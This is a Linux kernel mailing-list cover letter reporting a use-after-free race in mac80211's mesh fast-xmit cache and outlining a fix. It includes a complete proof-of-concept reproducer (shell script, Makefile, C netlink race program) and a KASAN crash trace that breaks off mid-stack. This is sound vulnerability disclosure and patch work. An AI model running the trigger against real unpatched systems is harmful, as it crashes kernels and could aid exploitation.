* [PATCH wireless v3 0/1] wifi: mac80211: fix mesh fast xmit path deletion UAF
@ 2026-09-18 5:26 Zihan Xi
2026-09-18 5:26 ` [PATCH wireless v3 1/1] " Zihan Xi
0 siblings, 1 reply; 2+ messages in thread
From: Zihan Xi @ 2026-09-18 5:26 UTC (permalink / raw)
To: Johannes Berg
Cc: Zihan Xi, linux-wireless, linux-kernel, Ryder Lee, Felix Fietkau
Hi Linux kernel maintainers,
We found and validated an issue in
net/mac80211/mesh_pathtbl.c. The v3 validation below includes MODE=root and
MODE=namespace. Both modes were started by guest UID 0; poc.sh performs the
single unshare -Urn internally. These runs do not establish non-root
reachability.
We've tested it, and no other impact was observed in these tests.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
mesh_fast_tx_cache() stores raw pointers to mesh paths. Path deletion
flushes matching cache entries and then queues the path for RCU freeing
with kfree_rcu(), but a lookup that already holds the path in an RCU
read-side critical section can insert a new cache entry after the flush,
leaving the cache entry pointing at freed memory.
The KASAN report below follows the local-TX path:
ieee80211_mesh_xmit_fast() -> mesh_fast_tx_get().
The same cache is also consumed by
ieee80211_rx_mesh_fast_forward(), but this report covers only the local-TX
path.
The v3 validation also ran MODE=namespace from guest UID 0. The two
namespace-local radios reached mesh peer ESTAB in both trees. The unpatched
run recorded signature=1 with poc_rc=255 after the KASAN panic; the patched
run recorded signature=0 with poc_rc=137 after the harness timeout. These
are namespace smoke results, not clean process-exit results, and do not
establish non-root reachability.
The report was decoded with scripts/decode_stacktrace.sh using an
unpatched vmlinux built with CONFIG_DEBUG_INFO=y and
CONFIG_DEBUG_INFO_DWARF4=y. The kernel frames below include source
locations.
The cache was added in d5edb9ae8d56 ("wifi: mac80211: mesh fast
xmit support"). A later addition of GENL_UNS_ADMIN_PERM to the mpath
netlink commands made the namespace trigger easier to exercise; the
namespace smoke run above was still started by guest UID 0.
The fix sets MESH_PATH_DELETED before the flush and rejects cache
insertion if the path or MPP path is already deleted. The check runs
under the cache walk lock, ordering it with the flush.
The deletion-side flag updates use WRITE_ONCE() to match the
lockless READ_ONCE() checks while preserving the other path flags.
The reproducer consists of Makefile, poc.sh, and poc.c. poc.c links
against libnl-3 and libnl-genl-3. The v3 root-mode run used make followed
by RUN_SECONDS=60 MODE=root ./poc.sh. The namespace smoke run used
RUN_SECONDS=60 MODE=namespace ./poc.sh. That command must not be
wrapped in another unshare: poc.sh performs its single unshare -Urn
internally. Both validation commands started as guest UID 0, so the
namespace invocation is not a non-root test.
In namespace mode, the wrapper creates two mac80211_hwsim radios; both
modes join a mesh and race NL80211_CMD_NEW_MPATH /
NL80211_CMD_DEL_MPATH with local UDP transmission. packetdrill is not used
because it cannot express 802.11 mesh setup or nl80211 mpath control
operations.
Reproducer:
No ethtool runtime file is required, used, or copied by this reproducer.
Run the following from the directory containing the three attached files;
the complete guest preparation and run commands were:
apt-get -o Acquire::Check-Valid-Until=false update
apt-get -o Acquire::Check-Valid-Until=false install -y \
--no-install-recommends gcc make pkg-config libnl-3-dev \
libnl-genl-3-dev iw iproute2 ca-certificates
mkdir -p /root/mesh-poc
cp ./poc.c ./poc.sh ./Makefile /root/mesh-poc/
cd /root/mesh-poc
chmod +x poc.sh
make
RUN_SECONDS=60 MODE=root ./poc.sh
RUN_SECONDS=60 MODE=namespace ./poc.sh
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.sh------
#!/bin/sh
set -eu
SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
cd "$SCRIPT_DIR"
PATH=/usr/sbin:/usr/bin:/sbin:/bin
MODE=${MODE:-namespace}
RUN_SECONDS=${RUN_SECONDS:-180}
SENDERS=${SENDERS:-4}
ADDERS=${ADDERS:-2}
DELETERS=${DELETERS:-2}
PAYLOAD_LEN=${PAYLOAD_LEN:-256}
ADD_PAUSE_US=${ADD_PAUSE_US:-100}
DEL_PAUSE_US=${DEL_PAUSE_US:-0}
MESH_ID=${MESH_ID:-mtest}
MESH_FREQ=${MESH_FREQ:-2412}
cleanup_root() {
iw dev mesh0 del >/dev/null 2>&1 || true
iw dev mesh1 del >/dev/null 2>&1 || true
}
wait_for_peer() {
ifname=$1
deadline=$(( $(date +%s) + 30 ))
while [ "$(date +%s)" -lt "$deadline" ]; do
if iw dev "$ifname" station dump | grep -q 'mesh plink:.*ESTAB'; then
return 0
fi
sleep 1
done
return 1
}
make
if [ "$MODE" = "root" ]; then
cleanup_root
trap cleanup_root EXIT INT TERM
iw phy phy0 interface add mesh0 type mp
iw phy phy1 interface add mesh1 type mp
ip link set mesh0 up
ip link set mesh1 up
iw dev mesh0 mesh join "$MESH_ID" freq "$MESH_FREQ"
iw dev mesh1 mesh join "$MESH_ID" freq "$MESH_FREQ"
wait_for_peer mesh0
M0=$(cat /sys/class/net/mesh0/address)
M1=$(cat /sys/class/net/mesh1/address)
ip addr flush dev mesh0 >/dev/null 2>&1 || true
ip addr flush dev mesh1 >/dev/null 2>&1 || true
ip addr add 10.0.0.1/24 dev mesh0
ip addr add 10.0.0.2/24 dev mesh1
ip neigh replace 10.0.0.2 lladdr "$M1" nud permanent dev mesh0
ip neigh replace 10.0.0.1 lladdr "$M0" nud permanent dev mesh1
iw dev mesh0 mpath new "$M1" next_hop "$M1" >/dev/null 2>&1 || true
echo 1 >/proc/sys/kernel/panic_on_warn
echo "[*] mesh0=$M0 mesh1=$M1"
echo "[*] mesh peers"
iw dev mesh0 station dump || true
echo "[*] initial mpath"
iw dev mesh0 mpath dump || true
exec ./poc -i mesh0 -a 10.0.0.2 -m "$M1" -n "$M1" -s "$RUN_SECONDS" \
-t "$SENDERS" -A "$ADDERS" -D "$DELETERS" -l "$PAYLOAD_LEN" \
-u "$ADD_PAUSE_US" -v "$DEL_PAUSE_US"
fi
if [ "$MODE" != "namespace" ]; then
echo "Unsupported MODE=$MODE" >&2
exit 1
fi
if [ -z "${INSIDE_NAMESPACE:-}" ]; then
exec unshare -Urn env INSIDE_NAMESPACE=1 MODE=namespace \
RUN_SECONDS="$RUN_SECONDS" SENDERS="$SENDERS" ADDERS="$ADDERS" \
DELETERS="$DELETERS" PAYLOAD_LEN="$PAYLOAD_LEN" \
ADD_PAUSE_US="$ADD_PAUSE_US" DEL_PAUSE_US="$DEL_PAUSE_US" \
MESH_ID="$MESH_ID" MESH_FREQ="$MESH_FREQ" PATH="$PATH" \
sh ./poc.sh
fi
./poc -R 1 >/dev/null 2>&1 || true
./poc -R 1 >/dev/null 2>&1 || true
sleep 1
IFS0=$(iw dev | awk '/Interface/ {print $2}' | sed -n '1p')
IFS1=$(iw dev | awk '/Interface/ {print $2}' | sed -n '2p')
if [ -z "$IFS0" ] || [ -z "$IFS1" ]; then
echo "Failed to provision two namespace-local hwsim radios" >&2
exit 1
fi
iw dev "$IFS0" set type mp
iw dev "$IFS1" set type mp
ip link set "$IFS0" up
ip link set "$IFS1" up
iw dev "$IFS0" mesh join "$MESH_ID" freq "$MESH_FREQ"
iw dev "$IFS1" mesh join "$MESH_ID" freq "$MESH_FREQ"
wait_for_peer "$IFS0"
PEER=$(iw dev "$IFS0" station dump | awk '/^Station/ {print $2; exit}')
if [ -z "$PEER" ]; then
echo "Failed to learn peer station MAC" >&2
exit 1
fi
ip addr flush dev "$IFS0" >/dev/null 2>&1 || true
ip addr add 10.0.0.1/24 dev "$IFS0"
ip neigh replace 10.0.0.2 lladdr "$PEER" nud permanent dev "$IFS0"
iw dev "$IFS0" mpath new "$PEER" next_hop "$PEER" >/dev/null 2>&1 || true
echo "[*] namespace if0=$IFS0 if1=$IFS1 peer=$PEER"
echo "[*] mesh peers"
iw dev "$IFS0" station dump || true
echo "[*] initial mpath"
iw dev "$IFS0" mpath dump || true
exec ./poc -i "$IFS0" -a 10.0.0.2 -m "$PEER" -n "$PEER" -s "$RUN_SECONDS" \
-t "$SENDERS" -A "$ADDERS" -D "$DELETERS" -l "$PAYLOAD_LEN" \
-u "$ADD_PAUSE_US" -v "$DEL_PAUSE_US"
------END poc.sh--------
------BEGIN Makefile------
CC ?= gcc
PKG_CONFIG ?= pkg-config
NL_CFLAGS != $(PKG_CONFIG) --cflags libnl-3.0 libnl-genl-3.0
NL_LIBS != $(PKG_CONFIG) --libs libnl-3.0 libnl-genl-3.0
CFLAGS += -O2 -g -Wall -Wextra -pthread $(NL_CFLAGS)
LDLIBS += -pthread $(NL_LIBS)
all: poc
poc: poc.c
clean:
rm -f poc
------END Makefile--------
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/nl80211.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netlink/genl/ctrl.h>
#include <netlink/genl/genl.h>
#include <netlink/msg.h>
#include <netlink/netlink.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#define ETH_ALEN 6
enum hwsim_commands {
HWSIM_CMD_UNSPEC,
HWSIM_CMD_REGISTER,
HWSIM_CMD_FRAME,
HWSIM_CMD_TX_INFO_FRAME,
HWSIM_CMD_NEW_RADIO,
};
enum hwsim_attrs {
HWSIM_ATTR_UNSPEC,
HWSIM_ATTR_ADDR_RECEIVER,
HWSIM_ATTR_ADDR_TRANSMITTER,
HWSIM_ATTR_FRAME,
HWSIM_ATTR_FLAGS,
HWSIM_ATTR_RX_RATE,
HWSIM_ATTR_SIGNAL,
HWSIM_ATTR_TX_INFO,
HWSIM_ATTR_COOKIE,
HWSIM_ATTR_CHANNELS,
};
struct cfg {
char ifname[IFNAMSIZ];
char dst_ip[INET_ADDRSTRLEN];
unsigned char dst_mac[ETH_ALEN];
unsigned char next_hop[ETH_ALEN];
unsigned int seconds;
unsigned int senders;
unsigned int adders;
unsigned int deleters;
unsigned int payload_len;
unsigned int add_pause_us;
unsigned int del_pause_us;
unsigned int hwsim_radios;
};
static struct cfg g_cfg = {
.ifname = "mesh0",
.dst_ip = "10.0.0.2",
.seconds = 180,
.senders = 4,
.adders = 1,
.deleters = 1,
.payload_len = 256,
.add_pause_us = 100,
.del_pause_us = 0,
};
static atomic_bool stop_flag;
static atomic_ullong send_ok;
static atomic_ullong send_err;
static atomic_ullong add_ok;
static atomic_ullong add_exist;
static atomic_ullong add_err;
static atomic_ullong del_ok;
static atomic_ullong del_absent;
static atomic_ullong del_err;
static void usage(const char *prog)
{
fprintf(stderr,
"Usage: %s [-i ifname] [-a ip] [-m dst_mac] [-n next_hop] "
"[-s seconds] [-t senders] [-A adders] [-D deleters] "
"[-l payload_len] [-u add_pause_us] [-v del_pause_us] "
"[-R create_radios]\n",
prog);
}
static int parse_mac(const char *text, unsigned char mac[ETH_ALEN])
{
unsigned int bytes[ETH_ALEN];
size_t i;
if (sscanf(text, "%02x:%02x:%02x:%02x:%02x:%02x",
&bytes[0], &bytes[1], &bytes[2],
&bytes[3], &bytes[4], &bytes[5]) != ETH_ALEN)
return -1;
for (i = 0; i < ETH_ALEN; i++)
mac[i] = bytes[i];
return 0;
}
static const char *mac_to_str(const unsigned char mac[ETH_ALEN], char *buf,
size_t len)
{
snprintf(buf, len, "%02x:%02x:%02x:%02x:%02x:%02x",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
return buf;
}
static void pin_to_cpu(unsigned int index)
{
long ncpus = sysconf(_SC_NPROCESSORS_ONLN);
cpu_set_t cpus;
if (ncpus <= 0)
return;
CPU_ZERO(&cpus);
CPU_SET(index % (unsigned int)ncpus, &cpus);
(void)pthread_setaffinity_np(pthread_self(), sizeof(cpus), &cpus);
}
static void sleep_us(unsigned int usec)
{
struct timespec ts;
if (!usec)
return;
ts.tv_sec = usec / 1000000U;
ts.tv_nsec = (long)(usec % 1000000U) * 1000L;
while (nanosleep(&ts, &ts) && errno == EINTR)
;
}
static void stop_now(int signo)
{
(void)signo;
atomic_store_explicit(&stop_flag, true, memory_order_relaxed);
}
static int nl80211_family(struct nl_sock *sock)
{
if (genl_connect(sock) < 0)
return -1;
return genl_ctrl_resolve(sock, "nl80211");
}
static int hwsim_new_radio_once(struct nl_sock *sock, int family_id,
unsigned int channels)
{
struct nl_msg *msg;
int err;
msg = nlmsg_alloc();
if (!msg)
return -NLE_NOMEM;
if (!genlmsg_put(msg, 0, 0, family_id, 0, 0, HWSIM_CMD_NEW_RADIO, 1)) {
nlmsg_free(msg);
return -NLE_MSGSIZE;
}
err = nla_put_u32(msg, HWSIM_ATTR_CHANNELS, channels);
if (err < 0) {
nlmsg_free(msg);
return err;
}
err = nl_send_auto(sock, msg);
if (err >= 0)
err = nl_wait_for_ack(sock);
nlmsg_free(msg);
return err;
}
static int create_hwsim_radios(unsigned int count)
{
struct nl_sock *sock;
int family_id;
unsigned int i;
sock = nl_socket_alloc();
if (!sock) {
fprintf(stderr, "nl_socket_alloc(hwsim) failed\n");
return EXIT_FAILURE;
}
if (genl_connect(sock) < 0) {
fprintf(stderr, "genl_connect(hwsim) failed\n");
nl_socket_free(sock);
return EXIT_FAILURE;
}
family_id = genl_ctrl_resolve(sock, "MAC80211_HWSIM");
if (family_id < 0) {
fprintf(stderr, "genl_ctrl_resolve(MAC80211_HWSIM) failed: %d\n",
family_id);
nl_socket_free(sock);
return EXIT_FAILURE;
}
for (i = 0; i < count; i++) {
int err = hwsim_new_radio_once(sock, family_id, 1);
if (err < 0) {
fprintf(stderr, "new_radio_once[%u] failed: %d (%s)\n",
i, err, nl_geterror(err));
nl_socket_free(sock);
return EXIT_FAILURE;
}
}
printf("created %u hwsim radio(s)\n", count);
nl_socket_free(sock);
return EXIT_SUCCESS;
}
static int add_mpath_once(struct nl_sock *sock, int family_id, int ifindex,
const unsigned char dst[ETH_ALEN],
const unsigned char next_hop[ETH_ALEN])
{
struct nl_msg *msg;
int err;
msg = nlmsg_alloc();
if (!msg)
return -NLE_NOMEM;
if (!genlmsg_put(msg, 0, 0, family_id, 0, 0, NL80211_CMD_NEW_MPATH, 0)) {
nlmsg_free(msg);
return -NLE_MSGSIZE;
}
err = nla_put_u32(msg, NL80211_ATTR_IFINDEX, ifindex);
if (err < 0)
goto out;
err = nla_put(msg, NL80211_ATTR_MAC, ETH_ALEN, dst);
if (err < 0)
goto out;
err = nla_put(msg, NL80211_ATTR_MPATH_NEXT_HOP, ETH_ALEN, next_hop);
if (err < 0)
goto out;
err = nl_send_auto(sock, msg);
if (err < 0)
goto out;
err = nl_wait_for_ack(sock);
out:
nlmsg_free(msg);
return err;
}
static int del_mpath_once(struct nl_sock *sock, int family_id, int ifindex,
const unsigned char dst[ETH_ALEN])
{
struct nl_msg *msg;
int err;
msg = nlmsg_alloc();
if (!msg)
return -NLE_NOMEM;
if (!genlmsg_put(msg, 0, 0, family_id, 0, 0, NL80211_CMD_DEL_MPATH, 0)) {
nlmsg_free(msg);
return -NLE_MSGSIZE;
}
err = nla_put_u32(msg, NL80211_ATTR_IFINDEX, ifindex);
if (err < 0)
goto out;
err = nla_put(msg, NL80211_ATTR_MAC, ETH_ALEN, dst);
if (err < 0)
goto out;
err = nl_send_auto(sock, msg);
if (err < 0)
goto out;
err = nl_wait_for_ack(sock);
out:
nlmsg_free(msg);
return err;
}
static void *adder_thread(void *arg)
{
unsigned int thread_index = (unsigned long)arg;
struct nl_sock *sock;
int family_id;
int ifindex;
pin_to_cpu(g_cfg.senders + thread_index);
ifindex = if_nametoindex(g_cfg.ifname);
if (!ifindex) {
perror("if_nametoindex");
atomic_fetch_add_explicit(&add_err, 1, memory_order_relaxed);
return NULL;
}
sock = nl_socket_alloc();
if (!sock) {
fprintf(stderr, "nl_socket_alloc(add) failed\n");
atomic_fetch_add_explicit(&add_err, 1, memory_order_relaxed);
return NULL;
}
family_id = nl80211_family(sock);
if (family_id < 0) {
fprintf(stderr, "nl80211 family resolve(add) failed: %d\n",
family_id);
nl_socket_free(sock);
atomic_fetch_add_explicit(&add_err, 1, memory_order_relaxed);
return NULL;
}
while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) {
int err = add_mpath_once(sock, family_id, ifindex,
g_cfg.dst_mac, g_cfg.next_hop);
if (!err) {
atomic_fetch_add_explicit(&add_ok, 1, memory_order_relaxed);
sleep_us(g_cfg.add_pause_us);
continue;
}
if (err == -NLE_EXIST) {
atomic_fetch_add_explicit(&add_exist, 1,
memory_order_relaxed);
sleep_us(g_cfg.add_pause_us);
continue;
}
atomic_fetch_add_explicit(&add_err, 1, memory_order_relaxed);
}
nl_socket_free(sock);
return NULL;
}
static void *deleter_thread(void *arg)
{
unsigned int thread_index = (unsigned long)arg;
struct nl_sock *sock;
int family_id;
int ifindex;
pin_to_cpu(g_cfg.senders + g_cfg.adders + thread_index);
ifindex = if_nametoindex(g_cfg.ifname);
if (!ifindex) {
perror("if_nametoindex");
atomic_fetch_add_explicit(&del_err, 1, memory_order_relaxed);
return NULL;
}
sock = nl_socket_alloc();
if (!sock) {
fprintf(stderr, "nl_socket_alloc(del) failed\n");
atomic_fetch_add_explicit(&del_err, 1, memory_order_relaxed);
return NULL;
}
family_id = nl80211_family(sock);
if (family_id < 0) {
fprintf(stderr, "nl80211 family resolve(del) failed: %d\n",
family_id);
nl_socket_free(sock);
atomic_fetch_add_explicit(&del_err, 1, memory_order_relaxed);
return NULL;
}
while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) {
int err = del_mpath_once(sock, family_id, ifindex, g_cfg.dst_mac);
if (!err) {
atomic_fetch_add_explicit(&del_ok, 1, memory_order_relaxed);
sleep_us(g_cfg.del_pause_us);
continue;
}
if (err == -NLE_OBJ_NOTFOUND || err == -NLE_NOADDR ||
err == -NLE_FAILURE) {
atomic_fetch_add_explicit(&del_absent, 1,
memory_order_relaxed);
sleep_us(g_cfg.del_pause_us);
continue;
}
atomic_fetch_add_explicit(&del_err, 1, memory_order_relaxed);
}
nl_socket_free(sock);
return NULL;
}
static void *sender_thread(void *arg)
{
unsigned int thread_index = (unsigned long)arg;
struct sockaddr_in dst = {
.sin_family = AF_INET,
.sin_port = htons(9),
};
int fd;
char *payload;
pin_to_cpu(thread_index);
if (inet_pton(AF_INET, g_cfg.dst_ip, &dst.sin_addr) != 1) {
fprintf(stderr, "inet_pton(%s) failed\n", g_cfg.dst_ip);
atomic_fetch_add_explicit(&send_err, 1, memory_order_relaxed);
return NULL;
}
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0) {
perror("socket");
atomic_fetch_add_explicit(&send_err, 1, memory_order_relaxed);
return NULL;
}
if (setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE, g_cfg.ifname,
strlen(g_cfg.ifname) + 1) < 0) {
perror("SO_BINDTODEVICE");
close(fd);
atomic_fetch_add_explicit(&send_err, 1, memory_order_relaxed);
return NULL;
}
if (connect(fd, (struct sockaddr *)&dst, sizeof(dst)) < 0) {
perror("connect");
close(fd);
atomic_fetch_add_explicit(&send_err, 1, memory_order_relaxed);
return NULL;
}
payload = malloc(g_cfg.payload_len);
if (!payload) {
perror("malloc");
close(fd);
atomic_fetch_add_explicit(&send_err, 1, memory_order_relaxed);
return NULL;
}
memset(payload, 'A' + (thread_index % 26), g_cfg.payload_len);
while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) {
ssize_t ret = send(fd, payload, g_cfg.payload_len, MSG_NOSIGNAL);
if (ret == (ssize_t)g_cfg.payload_len)
atomic_fetch_add_explicit(&send_ok, 1, memory_order_relaxed);
else
atomic_fetch_add_explicit(&send_err, 1, memory_order_relaxed);
}
free(payload);
close(fd);
return NULL;
}
static void *progress_thread(void *arg)
{
(void)arg;
while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) {
sleep(1);
printf("stats send_ok=%llu send_err=%llu add_ok=%llu add_exist=%llu "
"add_err=%llu del_ok=%llu del_absent=%llu del_err=%llu\n",
(unsigned long long)atomic_load_explicit(&send_ok,
memory_order_relaxed),
(unsigned long long)atomic_load_explicit(&send_err,
memory_order_relaxed),
(unsigned long long)atomic_load_explicit(&add_ok,
memory_order_relaxed),
(unsigned long long)atomic_load_explicit(&add_exist,
memory_order_relaxed),
(unsigned long long)atomic_load_explicit(&add_err,
memory_order_relaxed),
(unsigned long long)atomic_load_explicit(&del_ok,
memory_order_relaxed),
(unsigned long long)atomic_load_explicit(&del_absent,
memory_order_relaxed),
(unsigned long long)atomic_load_explicit(&del_err,
memory_order_relaxed));
fflush(stdout);
}
return NULL;
}
int main(int argc, char **argv)
{
pthread_t *threads = NULL;
pthread_t progress;
size_t total_threads;
size_t idx = 0;
char dst_buf[18];
char nh_buf[18];
int opt;
unsigned int i;
int ret = EXIT_SUCCESS;
while ((opt = getopt(argc, argv, "i:a:m:n:s:t:A:D:l:u:v:R:h")) != -1) {
switch (opt) {
case 'i':
strncpy(g_cfg.ifname, optarg, sizeof(g_cfg.ifname) - 1);
g_cfg.ifname[sizeof(g_cfg.ifname) - 1] = '\0';
break;
case 'a':
strncpy(g_cfg.dst_ip, optarg, sizeof(g_cfg.dst_ip) - 1);
g_cfg.dst_ip[sizeof(g_cfg.dst_ip) - 1] = '\0';
break;
case 'm':
if (parse_mac(optarg, g_cfg.dst_mac) < 0) {
fprintf(stderr, "invalid dst MAC: %s\n", optarg);
return EXIT_FAILURE;
}
break;
case 'n':
if (parse_mac(optarg, g_cfg.next_hop) < 0) {
fprintf(stderr, "invalid next-hop MAC: %s\n",
optarg);
return EXIT_FAILURE;
}
break;
case 's':
g_cfg.seconds = strtoul(optarg, NULL, 0);
break;
case 't':
g_cfg.senders = strtoul(optarg, NULL, 0);
break;
case 'A':
g_cfg.adders = strtoul(optarg, NULL, 0);
break;
case 'D':
g_cfg.deleters = strtoul(optarg, NULL, 0);
break;
case 'l':
g_cfg.payload_len = strtoul(optarg, NULL, 0);
break;
case 'u':
g_cfg.add_pause_us = strtoul(optarg, NULL, 0);
break;
case 'v':
g_cfg.del_pause_us = strtoul(optarg, NULL, 0);
break;
case 'R':
g_cfg.hwsim_radios = strtoul(optarg, NULL, 0);
break;
default:
usage(argv[0]);
return opt == 'h' ? EXIT_SUCCESS : EXIT_FAILURE;
}
}
if (g_cfg.hwsim_radios)
return create_hwsim_radios(g_cfg.hwsim_radios);
if (!g_cfg.senders || !g_cfg.adders || !g_cfg.deleters ||
!g_cfg.seconds || !g_cfg.payload_len ||
!memcmp(g_cfg.dst_mac, "\0\0\0\0\0\0", ETH_ALEN) ||
!memcmp(g_cfg.next_hop, "\0\0\0\0\0\0", ETH_ALEN)) {
usage(argv[0]);
return EXIT_FAILURE;
}
signal(SIGINT, stop_now);
signal(SIGTERM, stop_now);
total_threads = g_cfg.senders + g_cfg.adders + g_cfg.deleters;
threads = calloc(total_threads, sizeof(*threads));
if (!threads) {
perror("calloc");
return EXIT_FAILURE;
}
printf("ifname=%s dst_ip=%s dst_mac=%s next_hop=%s seconds=%u "
"senders=%u adders=%u deleters=%u payload_len=%u "
"add_pause_us=%u del_pause_us=%u\n",
g_cfg.ifname, g_cfg.dst_ip,
mac_to_str(g_cfg.dst_mac, dst_buf, sizeof(dst_buf)),
mac_to_str(g_cfg.next_hop, nh_buf, sizeof(nh_buf)),
g_cfg.seconds, g_cfg.senders, g_cfg.adders, g_cfg.deleters,
g_cfg.payload_len, g_cfg.add_pause_us, g_cfg.del_pause_us);
fflush(stdout);
for (i = 0; i < g_cfg.senders; i++)
pthread_create(&threads[idx++], NULL, sender_thread,
(void *)(unsigned long)i);
for (i = 0; i < g_cfg.adders; i++)
pthread_create(&threads[idx++], NULL, adder_thread,
(void *)(unsigned long)i);
for (i = 0; i < g_cfg.deleters; i++)
pthread_create(&threads[idx++], NULL, deleter_thread,
(void *)(unsigned long)i);
pthread_create(&progress, NULL, progress_thread, NULL);
sleep(g_cfg.seconds);
atomic_store_explicit(&stop_flag, true, memory_order_relaxed);
for (idx = 0; idx < total_threads; idx++)
pthread_join(threads[idx], NULL);
pthread_join(progress, NULL);
printf("final send_ok=%llu send_err=%llu add_ok=%llu add_exist=%llu "
"add_err=%llu del_ok=%llu del_absent=%llu del_err=%llu\n",
(unsigned long long)atomic_load_explicit(&send_ok,
memory_order_relaxed),
(unsigned long long)atomic_load_explicit(&send_err,
memory_order_relaxed),
(unsigned long long)atomic_load_explicit(&add_ok,
memory_order_relaxed),
(unsigned long long)atomic_load_explicit(&add_exist,
memory_order_relaxed),
(unsigned long long)atomic_load_explicit(&add_err,
memory_order_relaxed),
(unsigned long long)atomic_load_explicit(&del_ok,
memory_order_relaxed),
(unsigned long long)atomic_load_explicit(&del_absent,
memory_order_relaxed),
(unsigned long long)atomic_load_explicit(&del_err,
memory_order_relaxed));
fflush(stdout);
free(threads);
return ret;
}
------END poc.c--------
----BEGIN crash log----
[ 40.280725] BUG: KASAN: slab-use-after-free in mesh_fast_tx_get (net/mac80211/mesh_pathtbl.c:445)
[ 40.281918] Read of size 4 at addr ffff88800d29abb8 by task poc/509
[ 40.282887]
[ 40.283172] CPU: 1 UID: 0 PID: 509 Comm: poc Not tainted 7.2.0-rc4-g88c17de85ddb #1 PREEMPT(lazy)
[ 40.283186] Call Trace:
[ 40.283195] <TASK>
[ 40.283196] dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
[ 40.283226] print_report (mm/kasan/report.c:378 mm/kasan/report.c:482)
[ 40.283309] ? __pfx__raw_spin_lock_irqsave (kernel/locking/spinlock.c:363)
[ 40.283319] ? __virt_addr_valid (include/linux/mmzone.h:2119 (discriminator 1) include/linux/mmzone.h:2271 (discriminator 1) arch/x86/mm/physaddr.c:54 (discriminator 1))
[ 40.283371] ? mesh_fast_tx_get (net/mac80211/mesh_pathtbl.c:445)
[ 40.283375] kasan_report (mm/kasan/report.c:595)
[ 40.283379] ? mesh_fast_tx_get (net/mac80211/mesh_pathtbl.c:445)
[ 40.283383] mesh_fast_tx_get (net/mac80211/mesh_pathtbl.c:445)
[ 40.283388] ? __pfx_mesh_fast_tx_get (net/mac80211/mesh_pathtbl.c:400)
[ 40.283391] ? filter_irq_stacks (kernel/stacktrace.c:397)
[ 40.283433] ? stack_depot_save_flags (lib/stackdepot.c:667)
[ 40.283495] ieee80211_mesh_xmit_fast (net/mac80211/mesh.c:779)
[ 40.283499] ? kasan_save_stack (mm/kasan/common.c:58)
[ 40.283503] ? kasan_save_stack (mm/kasan/common.c:57)
[ 40.283506] ? kasan_save_track (mm/kasan/common.c:78)
[ 40.283509] ? __kasan_slab_alloc (mm/kasan/common.c:340 mm/kasan/common.c:366)
[ 40.283512] ? __alloc_frozen_pages_noprof (mm/page_alloc.c:4746 (discriminator 1) mm/page_alloc.c:5317 (discriminator 1))
[ 40.283529] ? __pfx_ieee80211_mesh_xmit_fast (net/mac80211/mesh.c:699)
[ 40.283533] ? sock_alloc_send_pskb (net/core/sock.c:3013)
[ 40.283602] ? ip_make_skb (net/ipv4/ip_output.c:1572)
[ 40.283635] ? udp_sendmsg (net/ipv4/udp.c:1438)
[ 40.283672] ? __sys_sendto (net/socket.c:775 (discriminator 1) net/socket.c:790 (discriminator 1) net/socket.c:2252 (discriminator 1))
[ 40.283682] ? __x64_sys_sendto (net/socket.c:2259 net/socket.c:2255 net/socket.c:2255)
[ 40.283686] ? do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[ 40.283703] ? entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 40.283719] __ieee80211_subif_start_xmit (net/mac80211/tx.c:4364)
[ 40.283752] ? __pfx___ieee80211_subif_start_xmit (net/mac80211/tx.c:3442)
[ 40.283756] ? skb_network_protocol (include/linux/skbuff.h:2534 include/linux/skbuff.h:2867 include/linux/skbuff.h:2882 include/linux/if_vlan.h:672 net/core/dev.c:3679)
[ 40.283783] ieee80211_subif_start_xmit (net/mac80211/tx.c:4607 (discriminator 1))
[ 40.283787] ? __pfx_ieee80211_subif_start_xmit (net/mac80211/tx.c:4421)
[ 40.283790] ? kasan_save_track (mm/kasan/common.c:78)
[ 40.283794] ? __kasan_slab_alloc (mm/kasan/common.c:340 mm/kasan/common.c:366)
[ 40.283798] dev_hard_start_xmit (include/linux/netdevice.h:5400 include/linux/netdevice.h:5409 net/core/dev.c:3889 net/core/dev.c:3905)
[ 40.283802] __dev_queue_xmit (net/core/dev.c:4878)
[ 40.283806] ? csum_partial (lib/checksum.c:119)
[ 40.283809] ? __pfx___dev_queue_xmit (include/linux/netdevice.h:4038 (discriminator 1))
[ 40.283813] ? __pfx_csum_and_copy_from_iter_full (net/core/skbuff.c:6236 (discriminator 1))
[ 40.283817] ? sock_alloc_send_pskb (net/core/sock.c:3016)
[ 40.283822] ? ip_generic_getfrag (net/ipv4/ip_output.c:943)
[ 40.283826] ? __pfx_ip_generic_getfrag (net/ipv4/ip_output.c:658)
[ 40.283830] ip_finish_output2 (include/linux/netdevice.h:3446 include/net/neighbour.h:544 include/net/neighbour.h:558 net/ipv4/ip_output.c:236)
[ 40.283834] ? __ip_append_data (include/linux/skbuff.h:2333 (discriminator 2) include/linux/skbuff.h:2438 (discriminator 2) include/linux/skbuff.h:2471 (discriminator 2) net/ipv4/ip_output.c:1202 (discriminator 2))
[ 40.283837] ? __pfx_ip_finish_output2 (net/ipv4/ip_output.c:614)
[ 40.283841] ? __pfx_ip_generic_getfrag (net/ipv4/ip_output.c:658)
[ 40.283845] __ip_finish_output.part.0 (net/ipv4/ip_output.c:314)
[ 40.283849] ? __pfx___ip_finish_output.part.0 (net/ipv4/ip_output.c:595)
[ 40.283853] ? do_csum (lib/checksum.c:64)
